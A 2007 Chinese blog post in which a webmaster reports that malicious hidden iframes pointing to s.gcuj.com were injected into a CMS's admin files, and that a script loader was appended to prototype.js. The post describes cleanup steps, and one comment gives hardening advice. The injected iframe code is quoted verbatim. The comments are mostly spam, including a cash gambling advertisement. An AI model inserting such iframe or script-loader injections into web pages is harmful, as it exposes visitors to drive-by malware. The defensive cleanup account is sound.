J-BLOG

计算机,互联网,社会热点,全球聚焦,

« 保健按摩手法大学生一定要理解的15件事 »

恐怖的s.gcuj.com,附处理办法

用的风讯的程序,前些时候进后台的时候,杀毒软件经常提示有"s.gcuj.com"这个提示是恶意脚本.

今天仔细检查了一下,整个程序admin文件中的全部文件都被加上了以下代码:

<iframe src="http://s.gcuj.com/bd.htm?019" width="0" height="0" frameborder="0"></iframe><iframe src="http://s.gcuj.com/bd.htm?019" width="0" height="0" frameborder="0"></iframe><iframe src="http://s.gcuj.com/bd.htm?019" width="0" height="0" frameborder="0"></iframe>

上网一查有人说这是被值入的木马,我晕..., 所有后台管理的文件都有以上这串代码,

这该如何解决?我把后台登陆的这个代码删除后,发现admin系统管理员帐户登陆不上去了,其他的还可以,

不知道是我长时间没有登陆导致的还是被删除这段代码后登陆不上去?

但总的一句话,上面这串代码已经认定为是木马,现在着急要处理,否则以后可能会麻烦..

 

2007年5月24日最新增加:

把网站上所有文件下载到本地计算机,然后用DREAMWAVER在整个网站查找gcuj,那还不快,几分钟以后,在我网站的prototype.js文件的最后多出一行,用脚本程序document.write写向了"s.gcuj.com/t.js",删除,重新上传,还是报有病毒,一想,原来是临时文件,点开IE的工具下的选项,把IE临时文件清除,终于OK了。据库到本地运行个新的论坛文件看看,是否是数据库问题,如果数据库没有问题,建议你替换一下论坛文件。做之前请先备份。 

网站后台因此打不开:应该是这个原因,你可以看一下是否是在 index.asp  conn.asp  里加上的代码。如果找不到,建议你下载数据库到本地运行个新的论坛文件看看,是否是数据库问题,如果数据库没有问题,建议你替换一下论坛文件。做之前请先备份。

  • quote 1.反病毒
  • http://www.Gadmin.cn
  • 这是典型的被恶人挂了iframe马了 !
    这种情况最常见的原因是:
    1、程序用的是免费的,程序本身带有这种毒,只要程序一旦运行在internet上,程序提供商只要一运行某个文件,全站文件全部被挂!
    2、网站管理员本地就带有某某病毒,在进行网站后台编辑生成文章的时候,就在生成文章的那一刹那,就把本地的木马上传到空间里了。。一执行,全站全部带有这个马。
    3、最常见的论坛开放注册会员,尤其是动网论坛有漏洞,别人可以注入给你批量挂马,你的论坛就over 了; 或者 论坛开放了上传N多个权限, 上传的后缀文件的格式太多,别人利用这一漏洞,给你论坛里传个东西,然后一执行,全站都挂!
    4、如果用的是虚拟主机,虚拟主机的空间与空间之间权限都是非常严格的,A空间里的马跑不到B空间里,所以这点就不必担心是服务器里有病毒。
    现在马上要作的就是:
    A、把空间里的文件下载下来,把空间彻底清空,在本地用字符替换器查找和替换这个iframe的马,替换为空格。 一次性清空
    B、给会员很少的权限,不要有半点空子可转。
    C、后台路径经常变换。密码经常换。
    D、用免费的程序一定要自己检查下。
  • 2007-8-4 11:30:47 回复该留言
  • quote 4.多趣网
  • http://www.duoqv.cn
  • 你的文章写得不错。。有空的话希望回访一下:奇人奇事,奇风怪俗,鬼怪灵异,恐怖悬疑,未解之谜,奥秘探秘,搞笑酷图,艺术美图,心情美文,风水星座尽在多趣网(www.duoqv.cn)!221
  • 2010-1-4 13:18:42 回复该留言
  • quote 5.多趣网
  • http://www.duoqv.cn
  • 奇人奇事,奇风怪俗,鬼怪灵异,恐怖悬疑,未解之谜,奥秘探秘,搞笑酷图,美女美图,唯美艺术图片,心情美文,风水星座尽在多趣网(www.duoqv.cn)!221
  • 2010-1-12 1:11:20 回复该留言
  • quote 6.多趣网
  • http://www.duoqv.cn
  • 奇人奇事,奇风怪俗,鬼怪灵异,恐怖悬疑,未解之谜,奥秘探秘,搞笑酷图,美女美图,唯美艺术图片,心情美文,风水星座尽在多趣网!来多趣,乐趣多!www.duoqv.cn221
  • 2010-1-23 12:47:36 回复该留言
  • quote 7.多趣网
  • http://www.duoqv.cn
  • 奇人奇事,奇风怪俗,鬼怪灵异,恐怖悬疑,未解之谜,奥秘探秘,搞笑酷图,美女美图,唯美艺术图片,心情美文,风水星座尽在多趣网!来多趣,乐趣多!www.duoqv.cn221
  • 2010-1-23 16:32:26 回复该留言
  • quote 9.别墅的外衣
  • http://www.pvcsiding.cn
  • 别墅的外衣—皇朝爵士挂板※我们专注于为您制造别墅(多层)的外墙装饰挂板,详情浏览www.pvcsiding.cn免费客服:400-663-9989曲先生※诚聘兼职建筑设计师、代理商、兼职业务经理我们谈谈合作吧。大连金爵士表业有限公司221
  • 2010-2-4 8:53:54 回复该留言
  • quote 10.多趣网
  • http://www.duoqv.cn
  • 奇人奇事,奇风怪俗,鬼怪灵异,恐怖悬疑,未解之谜,奥秘探秘,搞笑酷图,艺术美图,心情美文,风水星座尽在多趣网!来多趣,乐趣多!221
  • 2010-2-10 14:19:53 回复该留言
  • quote 17.周云发现金斗地主扎金花
  • http://wm28.zhouyunfa.com
  • 周运发棋牌娱乐中心,国内同行业首家在线送现金棋牌游戏平台,直属英国皇家正规娱乐公司。周运发棋牌目前拥有会员十多万,平时同时在线PK人数高达数千人,现金刺激游戏提供现金斗地主(真钱斗地主)、扎金花、牛牛、梭哈等系列现金棋牌游戏,安全可靠。官方注册地址:http://wm28.zhouyunfa.com周运发棋牌注册送10元现金,在线挂机由QB奖励周运发棋牌最低充值金额为20元,最低提现金额为20元运发现金棋牌游戏真人真钱斗地主(现金斗地主)扎金花游戏是真正公平公正的现金棋牌游戏!房间系数分别为5分,2角,5角,1元,5元,10元.可随时参与现金棋牌游戏!221
  • 2010-3-5 13:05:20 回复该留言

晋ICP备07000745号 , 本站采用创作共用版权协议, 要求署名、非商业用途和保持一致. 转载本站内容必须也遵循“署名-非商业用途-保持一致”的创作共用协议.